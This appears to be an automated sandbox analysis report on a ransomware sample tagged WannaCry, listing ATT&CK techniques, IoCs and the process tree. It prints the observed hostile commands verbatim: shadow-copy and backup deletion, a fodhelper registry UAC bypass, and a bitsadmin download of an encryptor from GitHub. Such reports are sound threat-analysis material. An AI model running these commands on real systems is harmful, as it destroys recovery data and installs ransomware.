wannacry | 7880389d89e8e28cbf6ac18bfb40dc8661dec9d9723e97b14bea6f8dff91804b

pid	Process
3184	bcdedit.exe
436	bcdedit.exe

Renames multiple (611) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 1 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
4036	wbadmin.exe

Download via BitsAdmin 1 TTPs 1 IoCs

dropper

BITS Jobs

T1197

pid	Process
4012	bitsadmin.exe

Downloads MZ/PE file 1 IoCs

flow	pid	Process
26	2020	Process not Found

Checks computer location settings 2 TTPs 5 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\Control Panel\International\Geo\Nation	B9A244AB4B18SD4BA.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\Control Panel\International\Geo\Nation	X6B56HB5A2B59.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\Control Panel\International\Geo\Nation	B9a5B8F433A6b.exe

Executes dropped EXE 4 IoCs

pid	Process
1388	X6B56HB5A2B59.exe
1152	B9a5B8F433A6b.exe
3728	@[email protected]
4364	B9A244AB4B18SD4BA.exe

Loads dropped DLL 18 IoCs

pid	Process
4804	LoaderFuscate.exe
4804	LoaderFuscate.exe
4804	LoaderFuscate.exe
4804	LoaderFuscate.exe
4804	LoaderFuscate.exe
4804	LoaderFuscate.exe
4804	LoaderFuscate.exe
4804	LoaderFuscate.exe
4804	LoaderFuscate.exe
4804	LoaderFuscate.exe
4804	LoaderFuscate.exe
4804	LoaderFuscate.exe
4804	LoaderFuscate.exe
4804	LoaderFuscate.exe
4804	LoaderFuscate.exe
4804	LoaderFuscate.exe
4804	LoaderFuscate.exe
4804	LoaderFuscate.exe

Drops desktop.ini file(s) 2 IoCs

description	ioc	Process
File opened for modification	F:\$RECYCLE.BIN\S-1-5-21-3756129449-3121373848-4276368241-1000\desktop.ini	svchost.exe
File opened for modification	C:\$Recycle.Bin\S-1-5-21-3756129449-3121373848-4276368241-1000\desktop.ini	svchost.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
15	raw.githubusercontent.com
26	raw.githubusercontent.com
14	raw.githubusercontent.com

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\Desktop\\@[email protected]"	@[email protected]

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
5000	PowerShell.exe

Embeds OpenSSL 1 IoCs

Embeds OpenSSL, may be used to circumvent TLS interception.

resource	yara_rule
behavioral2/files/0x0008000000023c4a-117.dat	embeds_openssl

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	@[email protected]

Checks SCSI registry key(s) 3 TTPs 4 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\FriendlyName	vds.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	vds.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Interacts with shadow copies 3 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

Direct Volume Access

T1006

pid	Process
1516	vssadmin.exe

Modifies registry class 13 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000_Classes\ms-settings\Shell\Open\command\DelegateExecute	WScript.exe
Key created	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000_Classes\ms-settings\Shell\Open\command	WScript.exe
Key created	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000_Classes\ms-settings\Shell	WScript.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000_Classes\ms-settings\Shell\Open\command\DelegateExecute	WScript.exe
Key created	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000_Classes\Local Settings	WScript.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000_Classes\ms-settings\Shell\Open\command	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000_Classes\ms-settings\Shell\Open\command	WScript.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000_Classes\ms-settings\Shell\Open\command\ = "cmd /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet"	WScript.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000_Classes\ms-settings\Shell\Open\command	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000_Classes\Local Settings	B9A244AB4B18SD4BA.exe
Key created	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000_Classes\ms-settings	WScript.exe
Key created	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000_Classes\ms-settings\Shell\Open	WScript.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000_Classes\ms-settings\Shell\Open\command\ = "powershell -ExecutionPolicy Bypass -File \"C:\\Users\\Admin\\X9F2L7D4ZP8Q1RMK.ps1\""	WScript.exe

Modifies registry key 1 TTPs 2 IoCs

Modify Registry

T1112

pid	Process
3200	reg.exe
1540	reg.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
5000	PowerShell.exe
5000	PowerShell.exe
1880	svchost.exe
1880	svchost.exe
1880	svchost.exe
1880	svchost.exe
1880	svchost.exe
1880	svchost.exe
1880	svchost.exe
1880	svchost.exe
1880	svchost.exe
1880	svchost.exe
1880	svchost.exe
1880	svchost.exe
1880	svchost.exe
1880	svchost.exe
1880	svchost.exe
1880	svchost.exe
1880	svchost.exe
1880	svchost.exe
1880	svchost.exe
1880	svchost.exe
1880	svchost.exe
1880	svchost.exe
1880	svchost.exe
1880	svchost.exe
1880	svchost.exe
1880	svchost.exe
1880	svchost.exe
1880	svchost.exe
1880	svchost.exe
1880	svchost.exe
1880	svchost.exe
1880	svchost.exe
1880	svchost.exe
1880	svchost.exe
1880	svchost.exe
1880	svchost.exe
1880	svchost.exe
1880	svchost.exe
1880	svchost.exe
1880	svchost.exe
1880	svchost.exe
1880	svchost.exe
1880	svchost.exe
1880	svchost.exe
1880	svchost.exe
1880	svchost.exe
1880	svchost.exe
1880	svchost.exe
1880	svchost.exe
1880	svchost.exe
1880	svchost.exe
1880	svchost.exe
1880	svchost.exe
1880	svchost.exe
1880	svchost.exe
1880	svchost.exe
1880	svchost.exe
1880	svchost.exe
1880	svchost.exe
1880	svchost.exe
1880	svchost.exe
1880	svchost.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 3 IoCs

pid	Process
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	5000	PowerShell.exe
Token: SeBackupPrivilege	3676	vssvc.exe
Token: SeRestorePrivilege	3676	vssvc.exe
Token: SeAuditPrivilege	3676	vssvc.exe
Token: SeIncreaseQuotaPrivilege	3140	WMIC.exe
Token: SeSecurityPrivilege	3140	WMIC.exe
Token: SeTakeOwnershipPrivilege	3140	WMIC.exe
Token: SeLoadDriverPrivilege	3140	WMIC.exe
Token: SeSystemProfilePrivilege	3140	WMIC.exe
Token: SeSystemtimePrivilege	3140	WMIC.exe
Token: SeProfSingleProcessPrivilege	3140	WMIC.exe
Token: SeIncBasePriorityPrivilege	3140	WMIC.exe
Token: SeCreatePagefilePrivilege	3140	WMIC.exe
Token: SeBackupPrivilege	3140	WMIC.exe
Token: SeRestorePrivilege	3140	WMIC.exe
Token: SeShutdownPrivilege	3140	WMIC.exe
Token: SeDebugPrivilege	3140	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3140	WMIC.exe
Token: SeRemoteShutdownPrivilege	3140	WMIC.exe
Token: SeUndockPrivilege	3140	WMIC.exe
Token: SeManageVolumePrivilege	3140	WMIC.exe
Token: 33	3140	WMIC.exe
Token: 34	3140	WMIC.exe
Token: 35	3140	WMIC.exe
Token: 36	3140	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3140	WMIC.exe
Token: SeSecurityPrivilege	3140	WMIC.exe
Token: SeTakeOwnershipPrivilege	3140	WMIC.exe
Token: SeLoadDriverPrivilege	3140	WMIC.exe
Token: SeSystemProfilePrivilege	3140	WMIC.exe
Token: SeSystemtimePrivilege	3140	WMIC.exe
Token: SeProfSingleProcessPrivilege	3140	WMIC.exe
Token: SeIncBasePriorityPrivilege	3140	WMIC.exe
Token: SeCreatePagefilePrivilege	3140	WMIC.exe
Token: SeBackupPrivilege	3140	WMIC.exe
Token: SeRestorePrivilege	3140	WMIC.exe
Token: SeShutdownPrivilege	3140	WMIC.exe
Token: SeDebugPrivilege	3140	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3140	WMIC.exe
Token: SeRemoteShutdownPrivilege	3140	WMIC.exe
Token: SeUndockPrivilege	3140	WMIC.exe
Token: SeManageVolumePrivilege	3140	WMIC.exe
Token: 33	3140	WMIC.exe
Token: 34	3140	WMIC.exe
Token: 35	3140	WMIC.exe
Token: 36	3140	WMIC.exe
Token: SeBackupPrivilege	4836	wbengine.exe
Token: SeRestorePrivilege	4836	wbengine.exe
Token: SeSecurityPrivilege	4836	wbengine.exe
Token: SeAssignPrimaryTokenPrivilege	1880	svchost.exe
Token: SeBackupPrivilege	1880	svchost.exe
Token: SeDebugPrivilege	1880	svchost.exe
Token: 36	1880	svchost.exe
Token: SeImpersonatePrivilege	1880	svchost.exe
Token: SeIncBasePriorityPrivilege	1880	svchost.exe
Token: SeIncreaseQuotaPrivilege	1880	svchost.exe
Token: 33	1880	svchost.exe
Token: SeManageVolumePrivilege	1880	svchost.exe
Token: SeProfSingleProcessPrivilege	1880	svchost.exe
Token: SeRestorePrivilege	1880	svchost.exe
Token: SeSecurityPrivilege	1880	svchost.exe
Token: SeSystemProfilePrivilege	1880	svchost.exe
Token: SeTakeOwnershipPrivilege	1880	svchost.exe
Token: SeShutdownPrivilege	1880	svchost.exe

Suspicious use of FindShellTrayWindow 27 IoCs

pid	Process
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
3728	@[email protected]

Suspicious use of SendNotifyMessage 24 IoCs

pid	Process
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe
1152	msedge.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
3728	@[email protected]
3728	@[email protected]

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4764 wrote to memory of 4804	4764	LoaderFuscate.exe	84
PID 4764 wrote to memory of 4804	4764	LoaderFuscate.exe	84
PID 4804 wrote to memory of 2232	4804	LoaderFuscate.exe	86
PID 4804 wrote to memory of 2232	4804	LoaderFuscate.exe	86
PID 2232 wrote to memory of 1388	2232	cmd.exe	88
PID 2232 wrote to memory of 1388	2232	cmd.exe	88
PID 1388 wrote to memory of 1152	1388	X6B56HB5A2B59.exe	89
PID 1388 wrote to memory of 1152	1388	X6B56HB5A2B59.exe	89
PID 1388 wrote to memory of 3728	1388	X6B56HB5A2B59.exe	91
PID 1388 wrote to memory of 3728	1388	X6B56HB5A2B59.exe	91
PID 1388 wrote to memory of 3728	1388	X6B56HB5A2B59.exe	91
PID 1152 wrote to memory of 4364	1152	B9a5B8F433A6b.exe	92
PID 1152 wrote to memory of 4364	1152	B9a5B8F433A6b.exe	92
PID 4364 wrote to memory of 1492	4364	B9A244AB4B18SD4BA.exe	93
PID 4364 wrote to memory of 1492	4364	B9A244AB4B18SD4BA.exe	93
PID 1492 wrote to memory of 3696	1492	WScript.exe	94
PID 1492 wrote to memory of 3696	1492	WScript.exe	94
PID 3696 wrote to memory of 5000	3696	fodhelper.exe	95
PID 3696 wrote to memory of 5000	3696	fodhelper.exe	95
PID 1492 wrote to memory of 3200	1492	WScript.exe	97
PID 1492 wrote to memory of 3200	1492	WScript.exe	97
PID 1492 wrote to memory of 4792	1492	WScript.exe	99
PID 1492 wrote to memory of 4792	1492	WScript.exe	99
PID 1492 wrote to memory of 4012	1492	WScript.exe	100
PID 1492 wrote to memory of 4012	1492	WScript.exe	100
PID 4792 wrote to memory of 1904	4792	WScript.exe	102
PID 4792 wrote to memory of 1904	4792	WScript.exe	102
PID 1904 wrote to memory of 2080	1904	fodhelper.exe	104
PID 1904 wrote to memory of 2080	1904	fodhelper.exe	104
PID 2080 wrote to memory of 1516	2080	cmd.exe	106
PID 2080 wrote to memory of 1516	2080	cmd.exe	106
PID 2080 wrote to memory of 3140	2080	cmd.exe	109
PID 2080 wrote to memory of 3140	2080	cmd.exe	109
PID 2080 wrote to memory of 3184	2080	cmd.exe	111
PID 2080 wrote to memory of 3184	2080	cmd.exe	111
PID 2080 wrote to memory of 436	2080	cmd.exe	112
PID 2080 wrote to memory of 436	2080	cmd.exe	112
PID 2080 wrote to memory of 4036	2080	cmd.exe	113
PID 2080 wrote to memory of 4036	2080	cmd.exe	113
PID 4792 wrote to memory of 1540	4792	WScript.exe	118
PID 4792 wrote to memory of 1540	4792	WScript.exe	118
PID 1492 wrote to memory of 1880	1492	WScript.exe	126
PID 1492 wrote to memory of 1880	1492	WScript.exe	126
PID 1492 wrote to memory of 1880	1492	WScript.exe	126
PID 3728 wrote to memory of 1152	3728	@[email protected]	130
PID 3728 wrote to memory of 1152	3728	@[email protected]	130
PID 1152 wrote to memory of 3224	1152	msedge.exe	131
PID 1152 wrote to memory of 3224	1152	msedge.exe	131
PID 1152 wrote to memory of 3756	1152	msedge.exe	132
PID 1152 wrote to memory of 3756	1152	msedge.exe	132
PID 1152 wrote to memory of 3756	1152	msedge.exe	132
PID 1152 wrote to memory of 3756	1152	msedge.exe	132
PID 1152 wrote to memory of 3756	1152	msedge.exe	132
PID 1152 wrote to memory of 3756	1152	msedge.exe	132
PID 1152 wrote to memory of 3756	1152	msedge.exe	132
PID 1152 wrote to memory of 3756	1152	msedge.exe	132
PID 1152 wrote to memory of 3756	1152	msedge.exe	132
PID 1152 wrote to memory of 3756	1152	msedge.exe	132
PID 1152 wrote to memory of 3756	1152	msedge.exe	132
PID 1152 wrote to memory of 3756	1152	msedge.exe	132
PID 1152 wrote to memory of 3756	1152	msedge.exe	132
PID 1152 wrote to memory of 3756	1152	msedge.exe	132
PID 1152 wrote to memory of 3756	1152	msedge.exe	132
PID 1152 wrote to memory of 3756	1152	msedge.exe	132

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\LoaderFuscate.exe
"C:\Users\Admin\AppData\Local\Temp\LoaderFuscate.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4764
- C:\Users\Admin\AppData\Local\Temp\LoaderFuscate.exe
  "C:\Users\Admin\AppData\Local\Temp\LoaderFuscate.exe"
  2⤵
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:4804
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "X6B56HB5A2B59.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2232
  - - C:\Users\Admin\AppData\Local\Temp\X6B56HB5A2B59.exe
      X6B56HB5A2B59.exe
      4⤵
      Checks computer location settings
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:1388
    - - C:\Users\Admin\AppData\Local\Temp\B9a5B8F433A6b.exe
        
        "C:\Users\Admin\AppData\Local\Temp\B9a5B8F433A6b.exe"
        5⤵
        Checks computer location settings
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:1152
      - C:\Users\Admin\AppData\Local\Temp\B9A244AB4B18SD4BA.exe
        
        "C:\Users\Admin\AppData\Local\Temp\B9A244AB4B18SD4BA.exe"
        6⤵
        Checks computer location settings
        Executes dropped EXE
        Modifies registry class
        Suspicious use of WriteProcessMemory
        
        PID:4364
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\AFABF89794B879FLB98.vbs"
        7⤵
        Checks computer location settings
        Modifies registry class
        Suspicious use of WriteProcessMemory
        
        PID:1492
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:3696
        
        C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe
        
        "PowerShell.exe" -ExecutionPolicy Bypass -File "C:\Users\Admin\X9F2L7D4ZP8Q1RMK.ps1"
        9⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5000
        
        C:\Windows\System32\reg.exe
        
        "C:\Windows\System32\reg.exe" delete HKCU\Software\Classes\ms-settings\Shell\Open\command /f
        8⤵
        Modifies registry class
        Modifies registry key
        
        PID:3200
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\B9BBB9A5B8F4ABS.vbs"
        8⤵
        Checks computer location settings
        Modifies registry class
        Suspicious use of WriteProcessMemory
        
        PID:4792
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        9⤵
        Suspicious use of WriteProcessMemory
        
        PID:1904
        
        C:\Windows\system32\cmd.exe
        
        "cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
        10⤵
        Suspicious use of WriteProcessMemory
        
        PID:2080
        
        C:\Windows\system32\vssadmin.exe
        
        vssadmin delete shadows /all /quiet
        11⤵
        Interacts with shadow copies
        
        PID:1516
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic shadowcopy delete
        11⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:3140
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} bootstatuspolicy ignoreallfailures
        11⤵
        Modifies boot configuration data using bcdedit
        
        PID:3184
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} recoveryenabled no
        11⤵
        Modifies boot configuration data using bcdedit
        
        PID:436
        
        C:\Windows\system32\wbadmin.exe
        
        wbadmin delete catalog -quiet
        11⤵
        Deletes backup catalog
        
        PID:4036
        
        C:\Windows\System32\reg.exe
        
        "C:\Windows\System32\reg.exe" delete HKCU\Software\Classes\ms-settings\Shell\Open\command /f
        9⤵
        Modifies registry class
        Modifies registry key
        
        PID:1540
        
        C:\Windows\System32\bitsadmin.exe
        
        "C:\Windows\System32\bitsadmin.exe" /transfer 8 https://github.com/BalletsPistol/d9fb74g8db7d8b7db48df7g8db77f4drb7er8db7fd84d7b1gdb47d8b7brt18bcy87gdfb8hfg74h87fh8bf18h7/raw/refs/heads/main/Encryptor.exe C:\Users\Admin\AppData\Local\Temp\svchost.exe
        8⤵
        Download via BitsAdmin
        
        PID:4012
        
        C:\Users\Admin\AppData\Local\Temp\svchost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
        8⤵
        Drops desktop.ini file(s)
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1880
    - - C:\Users\Admin\AppData\Local\Temp\@[email protected]
        
        "C:\Users\Admin\AppData\Local\Temp\@[email protected]"
        5⤵
        Executes dropped EXE
        Sets desktop wallpaper using registry
        System Location Discovery: System Language Discovery
        Suspicious use of FindShellTrayWindow
        Suspicious use of SetWindowsHookEx
        Suspicious use of WriteProcessMemory
        
        PID:3728
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.google.com/search?q=how+to+buy+bitcoin
        6⤵
        Enumerates system info in registry
        Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        Suspicious use of WriteProcessMemory
        
        PID:1152
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffc0ce646f8,0x7ffc0ce64708,0x7ffc0ce64718
        7⤵
        
        PID:3224
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2084,735700060706859370,11776107307935884109,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2108 /prefetch:2
        7⤵
        
        PID:3756
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2084,735700060706859370,11776107307935884109,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2480 /prefetch:3
        7⤵
        
        PID:2500
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2084,735700060706859370,11776107307935884109,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2676 /prefetch:8
        7⤵
        
        PID:3276
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2084,735700060706859370,11776107307935884109,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3376 /prefetch:1
        7⤵
        
        PID:3212
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2084,735700060706859370,11776107307935884109,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3400 /prefetch:1
        7⤵
        
        PID:1528
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2084,735700060706859370,11776107307935884109,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4952 /prefetch:1
        7⤵
        
        PID:2648

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3676

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4836

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:2896

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
- Checks SCSI registry key(s)
PID:4176

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:4928

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:724

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Management Instrumentation

T1047

Persistence

BITS Jobs

T1197

Privilege Escalation

Defense Evasion

BITS Jobs

T1197

Direct Volume Access

T1006

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Defacement

T1491

Inhibit System Recovery